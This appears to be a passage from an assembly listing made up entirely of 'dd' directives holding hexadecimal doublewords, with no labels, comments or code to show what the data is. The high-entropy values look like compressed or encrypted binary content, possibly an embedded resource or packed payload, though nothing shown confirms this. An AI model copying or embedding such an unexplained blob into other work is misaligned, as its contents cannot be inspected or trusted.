5E0D5013h, 92690000h, 9F2E703h, 16093253h dd 0BF2BD021h, 889A4065h, 8F008C92h, 3193DF5Fh, 2D57854h dd 50F40F08h, 1448476Fh, 64608748h, 6E8B0DE0h, 297E454h dd 261EDF45h, 0EC82F7F4h, 0B301EBBEh, 3883311Bh, 83205658h dd 51A7D8F0h, 9402672Ah, 0B7447E0Eh, 7C622014h, 0CAB5D0h dd 3AB06478h, 0E715401Fh, 1AD8C91Eh, 0F8B4630h, 0AF9B062Dh dd 6846C39Eh, 40F0FB1Ch, 0F1C4C0C1h, 66E04D24h, 0F9FE00ECh dd 0C9F49771h, 0D8A40907h, 0AE3E9B00h, 0E0DEC35Ah, 0DD5E01F2h dd 0CAEA6A1Fh, 8399800Bh, 87492373h, 0E1F1C05Ch, 4CE364C8h dd 0EB7911C0h, 1343F9h, 0BBC439D6h, 0F6C9D754h, 0CA2B2005h dd 98C0E6A7h, 391E4F0Eh, 0D63BF3C0h, 0A0318C8h, 627E151Bh dd 583940E0h, 870388EAh, 0BCFE8DEh, 2564E119h, 80AE044Eh dd 2ADA8FF3h, 660F0151h, 26356853h, 1AE1EFC3h, 3018BC2Ch dd 905331CDh, 2F623C4Ah, 0BF173A00h, 0F22BA71Fh, 0C3095703h dd 1346844h, 9FACD840h, 0E1BDCA12h, 0ECA710C4h, 33280FA8h dd 17617297h, 0D43D76F1h, 1E6F8A75h, 0EAC18099h, 60C687E0h dd 5934218Fh, 7030E879h, 57FB824h, 0C9D002Eh, 8AA69462h dd 9B1F9A81h, 0CD81DDF6h, 0C1462A17h, 0FA24B000h, 0A574EA00h dd 987779B5h, 0BBB100DDh, 32A15A4h, 2700BAFDh, 8D0AE738h dd 7C1C78B3h, 0F0490C2Dh, 0B11860D7h, 31AF835Ch, 7A0185Eh dd 0E2700FEh, 3C133790h, 0B8059A74h, 9C012B1Eh, 406F18C7h dd 0D38AB851h, 70852CC1h, 20FFF696h, 89C7C6B0h, 1D00B8A6h dd 0CA424E9Eh, 3E11A034h, 3500C32Bh, 24656A73h, 9A00FD50h dd 0AECEA22h, 79C46h, 0C0588B08h, 17F5EFBh, 4FFFF105h dd 0E0086FC6h, 349CD2h, 0D0EACCBBh, 90C0E56Eh, 0A9FBF8B8h dd 26A301A5h, 90D3B014h, 4BA88067h, 0EDEBDB88h, 0DCA5010Ah dd 7F2973E6h, 4407F047h, 855380A0h, 360FD103h, 8048BC68h dd 901B84h, 5E143B16h, 67E4754Eh, 0AF52F70Eh, 0A50B007Bh dd 600E93B9h, 0AA01FCB4h, 0D9F81D6Ah, 0A0664502h, 4D22921Ah dd 0BF614068h, 0D266D6Bh, 2709DA7Bh, 401820CDh, 129DAF44h dd 0BA33Ch, 82346450h, 40C16599h, 6967F047h, 21FCD092h dd 20C1A744h, 11CA1D8Eh, 4401CC39h, 92975C6h, 89885DDh dd 97432134h, 0AD404E0Fh, 36807BAh, 9FAF6780h, 0B90E0F0Bh dd 0D380C5DCh, 96D931Eh, 7A05B9C0h, 1CB3C301h, 9908A5AAh dd 80020842h, 1727621h, 0E85C6Ah, 22108EA6h, 0B27BA549h dd 0D41AC028h, 77A0410Ch, 1D24C033h, 8989C892h, 1CF3Fh dd 0C81E7419h, 0A5124A8Ch, 0C8410EFAh, 0FC9D5CCAh, 0A65C3D4h dd 8E9875D9h, 9306E1Ch, 0A136B439h, 33E38718h, 0C1111800h dd 0F6995A01h, 0C9273A3Fh, 0B3A1C850h, 8E0D0E48h, 3380A0A5h dd 1C473CFh, 40897512h, 3B89CC5Ch, 218A9D7h, 2FA444h, 937844C6h dd 0D7ADF883h, 0B3F40721h, 0C3C4A402h, 0F88E28DAh, 0AB4E4901h dd 171244CBh, 1EA9420h, 359015B1h, 504D4859h, 9575C0F0h dd 8C04FC90h, 1BE83D36h, 0D80224D0h, 66AE0014h, 0DC0AA2F5h dd 2375E1F3h, 3CC1E907h, 1481627Ch, 0C850306Fh, 0FADD869h dd 2D7E8F2Eh, 9A587400h, 0CCF29F6Ah, 1C849CA2h, 4E9D60DDh dd 7DC62345h, 80003511h, 0B8714E96h, 3E7336D9h, 0A675000h dd 375C7F63h, 0C949000Eh, 8EFC1D96h, 94A98C8Fh, 41198316h dd 9C13804Ah, 678360D0h, 985E4093h, 0E8228B20h, 0DA426DBh dd 1288206Ch, 22FF3C89h, 9930D974h, 0C641114Eh, 8037889Dh dd 474E925Ch, 0BE76C6FFh, 0F10B4B0Eh, 80A28AB7h, 0CDC10426h dd 39804E53h, 9BC219C6h, 7A005D76h, 14BC8159h, 2CA03D1Dh dd 6014FCD6h, 0F280AD12h, 72554A05h, 0E4244348h, 546C18C8h dd 3C835h, 2F0CA0F7h, 4EC2CFDDh, 0F3E7A207h, 6ED3CA24h dd 0A629000Fh, 608DCDE9h, 65024974h, 0C839D4AFh, 0AEB848B3h dd 0DC1604C5h, 98921ED0h, 10477D0h, 0A472B3C6h, 4B80F837h dd 821C028Fh, 5D4A01A0h, 0AA4B3B1h, 0A2C672Dh, 2C951ED2h dd 0C5017840h, 0A59A21B3h, 1704C60h, 0C52C3B7Bh, 941D4870h dd 4670A98Fh, 0BB28F0DCh, 831E00F9h, 0F26A2327h, 0F42C54C7h dd 6A4FFC6Dh, 7001E4C5h, 17FF8C60h, 0A8580835h, 444106C7h dd 380D8453h, 62903890h, 0CDB86C50h, 263A8B4Ch, 0F478C0h dd 0DD5032ABh, 62EED0Dh, 482F8B14h, 0F84F32A4h, 209B31DBh dd 6D4CC648h, 9442E0CCh, 3BBA014Eh, 0F8907933h, 0CB9F30CFh dd 242B3426h, 0A00DE709h, 38767308h, 0B2372454h, 0BAE26048h dd 0E930C735h, 97E02975h, 36460070h, 0E3899EC4h, 8D00A048h dd 5DD9DDEBh, 1F64824Fh, 7F43359Ah, 19C672Ah, 3FA03A8Eh dd 227F21F6h, 344850ECh, 71D6CB31h, 698076E8h, 0E9CC5DF4h dd 560F221Dh, 0BF7BD371h, 5F840D01h, 2C319E82h, 6079F180h dd 9F2CB1EBh, 631D8098h, 6E4AB549h, 0A70070E8h, 0F7165EC9h dd 9A770055h, 0C776ABDDh, 4F5D73BBh, 0FCD30968h, 1600B05h dd 0C1217538h, 0DCA09981h, 994776C9h, 0D7097FB9h, 35802180h dd 0D1DBB3F6h, 9B1693F4h, 0A820B67Ah, 26DA44CAh, 84D42AA0h dd 82B7FD17h, 743091B8h, 0B3C11101h, 801E887Ah, 0ED028C48h dd 0C4B8F866h, 90238320h, 3E04287Ch, 71E822E8h, 0FE593300h dd 1C557072h, 0EBA80127h, 0C5DB3EA0h, 0B39C6075h, 34203145h dd 6022408Fh, 0E483CF0Ah, 960F8475h, 0E87283EFh, 4590108h dd 8C9CDC41h, 0E7C4F4DEh, 3604C9Ah, 0DC5FCB21h, 0F708004Ch dd 7E412CBFh, 0A900B142h, 479993AAh, 30CE8D56h, 0AFD936F0h dd 43FE6CD5h, 29B59E00h, 17FB5271h, 0A883128Ah, 3D549C13h dd 4A8CB53h, 0C4E3E171h, 1018D480h, 702229D6h, 0DC470158h dd 18AE8C9Eh, 5DCD8801h, 0F56BDC00h, 2C80C37Fh, 0F4455C2Ah dd 39389042h, 40EC4326h, 0B8CBB1D0h, 6E98296Fh, 188A0087h dd 49C635C2h, 490C08C3h, 2D1415Dh, 6789A713h, 0C08F0808h dd 0B3DF0176h, 1C228A46h, 28E6200h, 7207C7F6h, 0D3250DA8h dd 33782E84h, 6438E4h, 5A473769h, 0BA4C8h, 78CA831Fh, 45DE614Eh dd 3F88D002h, 492AC4h, 93590125h, 68F92200h, 61A6CE0Fh dd 0AB1704D4h, 83419599h, 79B85CA0h, 0F528884Bh, 6D128457h dd 908014DAh, 48241631h, 5F23940Eh, 78C9C201h, 0DB18F947h dd 0C8D78689h, 0CAB0FCh, 246376EDh, 8C8B74F7h, 0AE7F8F3Fh dd 0AEBA846Fh, 0EE126C14h, 1B23402Fh, 0AC441000h, 29651CD4h dd 809802D0h, 3AEF85BEh, 0E4059243h, 16C738A8h, 0AA4C6180h dd 612402A3h, 8D7A550Ch, 482CD8E4h, 0DE420041h, 611042AAh dd 10392727h, 0FA35B400h, 0F0DACEAh, 0E6409E00h, 34E01BD6h dd 49C4817h, 0A4B6300Fh, 46EC9878h, 4D5AAA0Fh, 0C72766C3h dd 2F9E0049h, 8EA32CC5h, 0A82EA482h, 400DCE7h, 3B95E8D4h dd 0D133147Ch, 84C8CA6h, 84CE548h, 5A4E98C0h, 8785C6h dd 0DD4E9059h, 4F006EE4h, 0F2739DD8h, 59531923h, 2F05B438h dd 22D0ABB6h, 172FC7C4h, 0DEA92820h, 0D65818B1h, 0BEE80A4h dd 97FE4100h, 56C36874h, 0B93D6706h, 597C6022h, 99187660h dd 0E948A11Fh, 0B2C4032Ah, 0AD3412C5h, 33F419A1h, 0C008A788h dd 861F6167h, 1387C41Fh, 605F2479h, 0A7434200h, 26B3DDCAh dd 836898BBh, 3BEE2E9Ah, 0CC9088EEh, 0A0011A4Ah, 0CEDB9909h dd 38C9188Eh, 8AD766C0h, 50EAF935h, 1F2008B8h, 53180AA9h dd 3C980C28h, 2C89C85Ch, 3B5BEF81h, 0EBB1E4E5h, 0F170CF00h dd 0F2F09CB9h, 2E572EFFh, 33467C60h, 0B05F5A02h, 4C44B275h dd 1FFCC67Dh, 87F188C1h, 0A080B0D3h, 28013889h, 8C037EE1h dd 0F2CD3D66h, 6AA9050Ch, 12075CBAh, 4202AB88h, 4872E88Eh dd 0DE9090h, 3671D027h, 48B3B713h, 74AB3009h, 2F930EB4h dd 38205625h, 4F63F047h, 1008584Eh, 0B3806FABh, 0C828FDD3h dd 4CB178h, 0A0172CBCh, 46094557h, 846DE6BBh, 3484DFB0h dd 90C0A088h, 0E98E2470h, 0D40069FCh, 3D7E8C98h, 1891FC91h dd 0DC722703h, 82EF75DEh, 0ACE0E340h, 633088CDh, 0FDA2F81Fh dd 1CAA006Dh, 0BE346058h, 849E3CCBh, 4CF09700h, 378BAF39h dd 0EBC136D7h, 0F0440404h, 0B0A18D04h, 1D9C7411h, 69BF88h dd 0B1DA7A7Fh, 91DB8005h, 5CFCBA2Ch, 890C998Fh, 0EB2C2E0Bh dd 827882B9h, 0A00429E9h, 0C9DE605Bh, 0D9472174h, 0F63782C0h dd 5D1A00C1h, 0BD0EF2C8h, 3600BC70h, 0E7D8E0D2h, 6027DBF0h dd 4F7F31CBh, 5901320Dh, 54C44D12h, 18200234h, 757A28E4h dd 19922090h, 73801099h, 29EB09F1h, 8BE800E1h, 157DC4C3h dd 0DF3A3D56h, 75AD06A2h, 29314D88h, 8394B916h, 65079C37h dd 1FBA8101h, 640C10D1h, 2543CC20h, 0D4A6DB89h, 15F948C0h dd 2B368C04h, 404E9A30h, 1195C623h, 935F0036h, 536E2D4Eh dd 0EB7B0EA6h, 3FCA8848h, 0C47402E0h, 44608F0Eh, 0E34F9849h dd 820BDC05h, 0A6664000h, 0D5063C9Ch, 6FBCCC50h, 0B887971Eh dd 0E7F37147h, 355031E0h, 2944672Bh, 3CC480EEh, 6001A894h dd 0F604D8E1h, 0EBF1773Bh, 65E4A9E1h, 0A4709CFFh, 9F133CBAh dd 2F185770h, 3523FCh, 83217DAFh, 0D200473Ch, 0B6DA1608h dd 560A15Ah, 8235A4C9h, 3AD4536Bh, 3D823E4h, 45B32D9Ch dd 0D5C6F789h, 7C66A883h, 408B0512h, 54D20853h, 0E4F065D3h dd 857D601Fh, 0C490B0Fh, 4427FBE1h, 778C7EEEh, 0B32E8A29h dd 0A7844C24h, 0FCE0DFF3h, 27BAA045h, 0F2789008h, 1F3A4ECCh dd 0F44C06FCh, 0EA001803h, 6F0A41E5h, 58FD1B28h, 0EAE94464h dd 58A930h, 0C4A366CDh, 0BDF6C65Ch, 7779A603h, 0A4E8365Ah dd 7AFB18D0h, 4A50032Dh, 84CB879Eh, 429B96B0h, 0FC5C9102h dd 90C635C7h, 0B68BCDC4h, 77428108h, 6E69397Fh, 0D4C097F1h dd 41B1418h, 0B00FE048h, 91126CDBh, 32E8A898h, 107C195Ch dd 6C299A19h, 0D99F370Ch, 7361E869h, 0EAC2A8A1h, 1FF2A2E8h dd 815D391Dh, 8E64B1FFh, 0FB428EFh, 449F3176h, 0A4969B83h dd 205C4980h, 79C9C580h, 448CE147h, 309085D6h, 6605332h dd 5C4A4Fh, 4B6E93D0h, 70D8009Fh, 20BCFE76h, 0DF007AE9h dd 8F5182AAh, 22CE8EDDh, 757A1A88h, 0D8060B1h, 67BFE96Ch dd 7E5FA65h, 333529ACh, 9A6E3087h, 4903B2DDh, 83B7593Dh dd 8C1796Bh, 0CC26725Fh, 94277680h, 70983A3Fh, 0A15916F5h dd 9080095h, 8B34C668h, 4C44074Fh, 460F2E61h, 18094386h dd 0DAE17BEBh, 44F1E408h, 0D6AB008h, 4674EC49h, 0B7D10F37h dd 9CCAE97h, 0A71485DCh, 2C8ED8C5h, 88C03AC8h, 0F2B8A8Fh dd 0BDFE137Eh, 0EE7F002h, 0FA10A8A0h, 6100CD23h, 787350EAh dd 90DEB0h, 0B6F18BEBh, 7F634396h, 7DC5616h, 6A88C8DEh dd 5B1847D6h, 4755C6Eh, 0FBCE18E2h, 587CC07Eh, 0DCA8D026h dd 4A739FB1h, 0E300E190h, 4DAEE5EBh, 25EF061h, 0EF98ED7Ch dd 50597322h, 9FDC4681h, 620EA68Ch, 700FDCECh, 2FB7287Ch dd 0C06B4CA8h, 28CD4BCh, 0B3052F3Eh, 0C8809818h, 34780B09h dd 2849834Bh, 20D20BFFh, 0C146CAD0h, 478714F1h, 0C409ACADh dd 0B06DD601h, 0ACB10160h, 79CE09Fh, 593A6331h, 0FF44E23Bh dd 0EE17E4E8h, 0A2A8F325h, 40368824h, 0BE63518Ch, 68ADF868h dd 81AFD01Fh, 32FF4E7h, 9022E86Ch, 0ABD7D3E0h, 0AADEE0FDh dd 4632C100h, 23318D5Dh, 3A75038Bh, 0D96E63D3h, 0C464ACF8h dd 601ED613h, 1AC464CBh, 36C3025h, 4AA014F2h, 4224D463h dd 1C435470h, 40C5D710h, 6941BC80h, 39C25C41h, 7416019h dd 64408095h, 539031B9h, 0EDC420DEh, 887C9B34h, 1E89C031h dd 0CB4C042Dh, 447F2488h, 1D3467Ch, 0E0EDE51Fh, 0BEF02641h dd 76A55E8Fh, 4A44A088h, 0BFB00C7h, 277BB73Fh, 57E8930h dd 0F4D4CA00h, 9737EF14h, 739D1DEDh, 8F7200D3h, 0C1F5C63Fh dd 9575C204h, 0E240CE26h, 0D942A111h, 41C6A700h, 59BAC885h dd 437D09C2h, 0B4817F71h, 0DA9E63D4h, 37799871h, 0B300BF18h dd 3ECF9F2Fh, 92066D8Bh, 0B6D80054h, 6279B199h, 12770D0Ah dd 34BA8D00h, 6DA1912Fh, 510B04AEh, 0B090DBB1h, 7A169AB8h dd 688C2FE7h, 0EE9F0BAEh, 14660537h, 8C4B22F2h, 0DC438030h dd 8C4EF49Ah, 59C910E1h, 923700DCh, 5ED9B152h, 7301EAECh dd 34C5F26Ah, 0C440301Bh, 18C636EEh, 1032B854h, 0A20014ECh dd 528BFE6Eh, 4F992A4h, 861672A9h, 2194E0EBh, 0EC8C08BCh dd 0B607009h, 938EDBF6h, 0CD80007Fh, 48C5AF17h, 7E0C48FBh dd 0EAA1F690h, 3347E003h, 0C86322F1h, 0ABC78145h, 0DC0FF8B4h dd 5C8CB4D0h, 4618F5h, 0DFF47ECFh, 0ED1BD46Ah, 3C1AC6F2h dd 70E96DFBh, 50374690h, 0C629437Ch, 5EC4F88Dh, 7067800Fh dd 0DD400E2Bh, 2603E3EAh, 0B38E1416h, 0AA34C8h, 1DEA7F6h dd 0A603838Dh, 581184B9h, 75C9479Dh, 0DAC49847h, 0C0DE8145h dd 0A0DC8E94h, 0A6A41C13h, 0AEEEAC00h, 3EF9C459h, 0A061F00Ah dd 8407838Ah, 1AA54169h, 0E04F0CC1h, 15391820h, 0D0EDD7E5h dd 0D091F10Bh, 51CF40E5h, 0E7B4E280h, 45013317h, 9FA82312h dd 8724349h, 2EB1EA05h, 3EB8C8E7h, 0F5B97900h, 55C4B51Fh dd 8C62054Ah, 0E2CCC5CBh, 0B4812024h, 34656CCh, 0FA25340Eh dd 3F819B00h, 0D1150562h, 0FD83253h, 20B0D04Dh, 58099F49h dd 0AD811E8Bh, 699EC7CFh, 0C637299h, 80491440h, 14C0434Ah dd 2D5A145h, 0CDE4AB96h, 24516FF0h, 0EF3F1B91h, 63567004h dd 8040B85Fh, 0E21B55DFh, 0D0B0001Fh, 9574F1BBh, 7A4A9389h dd 5ADFB4C1h, 7304FC6Ch, 173AC6F6h, 3C880CAh, 4BD81DC0h dd 7430251h, 8D7A6344h, 4818A064h, 8FA90B47h, 0C6732487h dd 6333844Ch, 0FA808907h, 4204206Ch, 468C9BDCh, 26201F62h dd 0DBDC5Bh, 0FE50D9B3h, 74D3B27Dh, 4BE00850h, 94D58800h dd 0ADFA0AEDh, 1160BEFEh, 1718090h, 4242B3DCh, 8965C0A5h dd 2D467502h, 2050CECCh, 1184425h, 288BEA98h, 25B102F8h dd 0E881FC83h, 0BC3289CDh, 80452A41h, 72ABFA00h, 3B82E044h dd 66C61214h, 20900626h, 9CBEB00Fh, 48EB5B67h, 0F2DF2Ch dd 0EDBEB728h, 0B2B4A862h, 16D4AC04h, 80C0A509h, 269D6D9Ch dd 0DCC0EFBAh, 0CC34E600h, 4B0125DDh, 6D5E1815h, 0D998C11Bh dd 8EEF4400h, 96D21AB6h, 0E00700A3h, 7695F6E2h, 433E479Fh dd 0C2B06090h, 0AF3D835h, 0DE1BFF64h, 746824F0h, 0EA153246h dd 2C8BE038h, 61FB2068h dd 0C547370Fh, 0CB860485h, 771464ACh, 3ECF0FDh, 841E008Ch dd 4A11C7Ch, 0EB00BD81h, 8C5956E4h, 0CBDFB38Fh, 7884C4C8h dd 8B4A0F95h, 8C9040E3h, 0BC17956Bh, 5980D611h, 0A63FAC0Eh dd 6802D409h, 3F08C405h, 67B99481h, 0A358C780h, 0B74CC4F2h dd 4B5453EEh, 6B001594h, 0CE9FF795h, 0B9132Dh, 0D585247Eh dd 3D66E49Eh, 6E5F2609h, 72F0844Dh, 77C9DF60h, 97314710h dd 0BF80D5C8h, 70ADF634h, 7E990243h, 1DEBA3A7h, 0F04EA8FAh dd 6C9FB8C0h, 94A4A837h, 339B0071h, 0C27C8E15h, 8612181Ch dd 0F0607B09h, 31D23637h, 97407408h, 90202EF0h, 14F4963h dd 9E360E25h, 7480CBB1h, 88124740h, 0CCE165BFh, 23F82E2Bh dd 9C5C0003h, 47902816h, 6F386E17h, 0F3702C90h, 5B941FFFh dd 19989D06h, 63CE683Dh, 0D1852104h, 2FC5181Fh, 5661D880h dd 7602253h, 8A9B2874h, 54E817A4h, 0E88D2681h, 0B9B3CCF2h dd 597823F4h, 0AF009899h, 3435F8C7h, 8060B650h, 237001EAh dd 0CB079611h, 0C1E406A7h, 8024FFA1h, 4560FCC1h, 0CE893941h dd 2D699531h, 8341804Ch, 34FED710h, 0B4F65Ch, 0B8CF4593h dd 0BCD505E6h, 6F303CF2h, 1A043918h, 592600B7h, 82FEE710h dd 2700B99Dh, 7BDED3F2h, 0B99BBAAEh, 8E7506A0h, 0DB016903h dd 310D561Eh, 40506549h, 0CAC6D3h, 4695D9CEh, 0ECA8EB68h dd 0ED4EB700h, 0AEDF9F9Dh, 5634446Ch, 80DD273Dh, 0C3D9EED8h dd 91F40B4h, 9E052E06h, 6D5CF019h, 195B888h, 0E78F3543h dd 246CB277h, 7B409FF8h, 8F689965h, 1CC94CC6h, 6382F07Bh dd 0E076843Ah, 288BD2B4h, 25E755F7h, 8060F883h, 5309583Eh dd 994BBFA4h, 0F2048020h, 30D9B244h, 2800FAA6h, 77431065h dd 16813B6h, 8F4E839h, 619FBFBEh, 0C7ECF4E8h, 51A8CF48h dd 74702FDCh, 0F624826Dh, 8698B32Ah, 71C29D37h, 44F66624h dd 17D6100Bh, 251A88D0h, 0D28B0C60h, 0CB3C13C5h, 1F5CA418h dd 0A06CA541h, 808C34BCh, 7EDDB3D0h, 0EAB52E0Ch, 0F685C0DCh dd 0A3677FB7h, 8A21A160h, 0F0B02661h, 1071F4B9h, 0A25812F2h dd 0E8991EA0h, 70428110h, 0C2403A1h, 13FF0077h, 4B9BD648h dd 0DE17B63Bh, 6C741923h, 1A84208Bh, 0ED793025h, 40265AF8h dd 901B31C8h, 0BC01BF46h, 0A8AD523Dh, 0DC5877CAh, 0F58E09E7h dd 44046A01h, 7874C86Ch, 9E9EE12Ch, 0F3CD2405h, 0B92DF088h dd 4A7C0050h, 1CC38D03h, 66F6D607h, 2FBD765h, 0D43B8864h dd 0EB30BACh, 0B293B401h, 965C74D4h, 8309C090h, 672A1AB8h dd 60D94428h, 3C0A42h, 540235A3h, 0FF34C7F9h, 0EA05C09Eh dd 2C2EF6BEh, 0DD00D623h, 0D3B02E7Ch, 0A01769D0h, 0B2D21484h dd 3003E2E0h, 13EC9FEFh, 0E3F98201h, 0C3B78C79h, 2125A43Ch dd 0D0A66048h, 0C2B5B100h, 9B42DC98h, 587F0166h, 8BE7F6B7h dd 78309ECAh, 0FFDBE4C3h, 4951BF8Dh, 919E4044h, 0A3B7C9F1h dd 350948EEh, 50E8CBBEh, 811099D4h, 3E9EDE48h, 28626Ch dd 0CD9418E9h, 1338F708h, 0B298E78Bh, 0ACEF1D54h, 35238E40h dd 0D29913h, 0A196ADF5h, 6E677C71h, 61894302h, 90C135C5h dd 5E3790B8h, 0AB480332h, 191FD126h, 68C0DF2Ch, 0EA81820Bh dd 0F02800CFh, 3E71F8F6h, 8C1FDBFBh, 313026D7h, 984AA1EEh dd 14B9169Ah, 0A03E0047h, 0AC7449EFh, 0CA3C0304h, 0B8ED7E40h dd 59356000h, 957A9F79h, 65204871h, 5ADE3725h, 94E38028h dd 0D04E0CF7h, 0A4A2D456h, 60A91D00h, 42AB661Ah, 63BCC800h dd 57A08BF8h, 0A17FD4h, 7F735AF4h, 0E8B3D8BAh, 5C460A2Eh dd 0CCB675C3h, 6788ACBCh, 0CBF4F184h, 2B4F80F6h, 241E10D8h dd 0FAF22BC0h, 9C2DD966h, 0B8141032h, 5E82033Dh, 17EC08C4h dd 0F8F2CDB1h, 0B313AF02h, 88E1D8BBh, 0DBB1C840h, 410B402Ch dd 3796A52Dh, 0F50B0FB0h, 0D391B200h, 5400E735h, 0AACCF02Ah dd 4C1044C7h, 1BF8686Ah, 23052443h, 404153BEh, 0A5B34FA4h dd 723F2901h, 44C5026Bh, 2926943Ch, 1D59A459h, 4D008718h dd 0AA67A08Dh, 9601859h, 0D7CFB176h, 0C6F2E040h, 0F059BBF0h dd 8C600478h, 40BC3B87h, 0C73ED204h, 0F258B249h, 8AFB3035h dd 0F1074917h, 0B6362900h, 254D4AA0h, 344535B1h, 0A460D3E4h dd 0B0027821h, 27984735h, 0C4C06B3Bh, 0D5BCF4F8h, 5FE1008Ch dd 7F634518h, 0CB130F7Bh, 0DC045DB2h, 0B4A073BCh, 48AB2180h dd 7B809611h, 92B3CA01h, 6C8AA54Eh, 1734F00h, 14F6AD8Ah dd 0F9627005h, 84C090E2h, 5A9E1B71h, 4A0C8A69h, 0AD809CDAh dd 0A3102F77h, 113FD81Dh, 6C538C1Dh, 0EACCE4h, 72BD1EFBh dd 0C9DD3D63h, 0EE49C560h, 222F620h, 369D43D7h, 94A048ADh dd 19ACA366h, 0A47A9812h, 94015C94h, 0FEDEBE4Fh, 40289875h dd 2F8C18ECh, 4844B7E9h, 2E5B4009h, 78FCF319h, 0E5FF4A95h dd 1BDAE8BFh, 37B84708h, 0FB30B4Bh, 6723D802h, 602D3C2Fh dd 9E6C8070h, 0B65D804Ch, 0ED7DA4F4h, 29733F03h, 0F725C5F3h dd 34B0E957h, 4AF109D8h, 0C8F88B22h, 12F3C030h, 48EE6F71h dd 845E353Dh, 0F785CC4h, 2BFF080h, 0D8E009BCh, 0E0847FABh dd 0AC60B9D3h, 8EFA8Fh, 0DC3FD0Ah, 0C55EF442h, 347B3C12h dd 0A0D43497h, 0E9424804h, 0CB753EE8h, 4CC4C841h, 30819720h dd 0E8A553E4h, 6FF0347Ah, 7C809CBCh, 0FA4ECD9Dh, 70F200B3h dd 7757F92Bh, 673D4BA2h, 64AC8068h, 0E983B11Eh, 5EF4A2A1h dd 0D6465E94h, 11776B00h, 0BB10D9E3h, 4AC99E05h, 10AC724Fh dd 0C77EB201h, 6C3C07F3h, 5318040Ch, 9CC891C4h, 5C058C89h dd 768C99DCh, 0C1DC00A2h, 4979DC75h, 0BF1ED04Ch, 5F0C6C00h dd 3A2887F0h, 8789650h, 990032B4h, 0AA667972h, 9F1C07CAh dd 0A0078B9Eh, 0CE5D8E25h, 980A8C2Ah, 3CC64509h, 0C794611Fh dd 7611C824h, 28C500B8h, 62B5FBE3h, 7F5C4832h, 0C3E78064h dd 6F17BA79h, 78CBD837h, 1640C67h, 70009763h, 0B680D63Ch dd 59A5CE8Dh, 0BF8164DDh, 0C60EB8FBh, 9181F871h, 0DC93E62Ch dd 7D80247Dh, 90E48D89h, 2C52F626h, 1B3A6340h, 0AC1F0A4h dd 58ABE5EAh, 0A2324EB8h, 0ACD90320h, 0F08F9C59h, 56B50FAh dd 481AE1A3h, 0C568C84Eh, 9F775C05h, 0C0B2D0DDh, 0D5301FE2h dd 473C02DEh, 0AF87E7F6h, 0C481B0DBh, 0E6CDF0B1h, 34120C2Dh dd 9F502383h, 9258BDF5h, 3323D02Eh, 8FFE7200h, 9BA4F26Ah dd 0DF3A701Ch, 89E4B53Bh, 106C1CC7h, 7E0792C0h, 3FA0029h dd 42D4A18Ch, 47FE7F33h, 0A8000B76h, 43CBE25Ch, 0B58CCD7Eh dd 7AD4D490h, 830BDB90h, 222A652Ch, 79316374h, 8024BF4h dd 0A100DEF7h, 39D611DBh, 80CA332Eh, 30648E34h, 0E78C8F05h dd 60E2AB07h, 0A74CB6D2h, 10994C65h, 236C2F3Ah, 0E0B600DCh dd 6FE61C8Eh, 0C7A2B92Dh, 6002C4D8h, 0F2C094Ch, 88793357h dd 80769854h, 8C13838Dh, 0A0A32A16h, 0AF30D4A2h, 8BA03E48h dd 9189C052h, 1CE4C0C5h, 0DB41AD61h, 27EDBB90h, 1EF3109h dd 0E134482Ch, 0CB1201B5h, 58922882h, 345E2F26h, 1F5D4C00h dd 4E3FCDDh, 40C1FBF7h, 9850C09Eh, 2AF78981h, 8C70482Fh dd 0D6FE5500h, 916122B6h, 0E4C1022Dh, 7123E0F1h, 4AAF2C5Bh dd 1F459B8h, 0ACCF41B4h, 172AD068h, 4BC7C212h, 6F2DB4B3h dd 255DBCA0h, 9F0087A5h, 8885726Ch, 0FFB9CCEh, 664AA0FAh dd 0BBA10EE1h, 4E04C5Bh, 462D7122h, 0C9C30246h, 0F4D1477Bh dd 0D8835818h, 0D30095F2h, 0AF8ED918h, 5CC254E4h, 5FCBEC07h dd 32005CE4h, 89A5BF03h dd 77833EDh, 0D9AC5434h, 18B940Eh, 61E93175h, 9746E2Fh dd 530189B0h, 181E5920h, 31A9003Fh, 0DEB609ECh, 7B0740A0h dd 7F490C8Eh, 92CC1999h, 40070C60h, 0B0907BCDh, 0D816722Eh dd 622F8F1Fh, 0DCE054C4h, 0C4968100h, 0DBEB1970h, 2B87138Fh dd 0C900DCA6h, 2107A203h, 0D9F1E77Ah, 0EC93A3AFh, 0DDFC916Dh dd 2C5D85Ch, 9D7E7B01h, 8ACEB207h, 2A3C4B3Eh, 4E1820C8h dd 1CD3F509h, 61EC406Fh, 0DC9A00F0h, 0BBCE51BEh, 43498983h dd 10A70288h, 0D42D1D3Fh, 2F1FBF10h, 0BE19001Ah, 0EC40D542h dd 9961FCBEh, 6C32C017h, 0C8E08A93h, 2BFC7D5h, 0E8715189h dd 786D3F00h, 3C55D5h, 0FF44971h, 734B2333h, 8B8DA401h dd 68CBB062h, 972CF83Ch, 0EC35A548h, 0D2B87E81h, 5B61D326h dd 149B4E4h, 2EB14235h, 6AE38847h, 7BD2DC0Bh, 7F935804h dd 73006E78h, 0C252600Fh, 0D4B56FFh, 0EDD4C488h, 0C06B6F58h dd 0FB01683Ch, 0DA33C4AAh, 88162B48h, 0A1DD5C0Bh, 60B324C0h dd 2CDE434h, 436725BDh, 0CCDC045Ch, 40003524h, 4CE80153h dd 90D86B88h, 2D18CF1h, 3D03AC18h, 951D54FBh, 3FBBE1AAh dd 0B49C81FAh, 6023938Eh, 34FF403h, 0F298A49Bh, 802CCDFh dd 4845C460h, 3F68D9AFh, 30E7EEFCh, 7721F4D6h, 731D3598h dd 591A618Fh, 4107830h, 714317CDh, 0B890AD50h, 7273F6B1h dd 4EA30026h, 589EB802h, 1950E879h, 1D005514h, 73C28E48h dd 0A2B281h, 0A332F94Ch, 6872A74Ah, 8DCD7416h, 90018CA3h dd 9708B1DEh, 0A2F8739Eh, 7DAC301Ch, 8802600Fh, 98899223h dd 0B57C216Fh, 7A80F8D5h, 5044C609h, 6EE0E731h, 0B3088011h dd 0D5F6A2h, 8E5EB169h, 5F253E5h, 41678B25h, 246B379Ch dd 0B794B29Ch, 4805C008h, 0F3007BBAh, 9F3E662Fh, 53FD8ACh dd 0ECB325CDh, 0A85C8470h, 8CD7BC68h, 8E2BF800h, 0C5B727FDh dd 0C52C4BA2h, 7EF8E444h, 40E8E890h, 2B2BE845h, 8C7024h dd 69C9AFD2h, 173B26EEh, 83B15F0Bh, 4BCC40D4h, 86D1680h dd 5DC400ECh, 1BE7F3C0h, 0EC027AE9h, 0C0F46734h, 8879BFF0h dd 0EA73A238h, 0CCD3FD5Fh, 9F88044h, 61D978DFh, 5B7088B0h dd 19218221h, 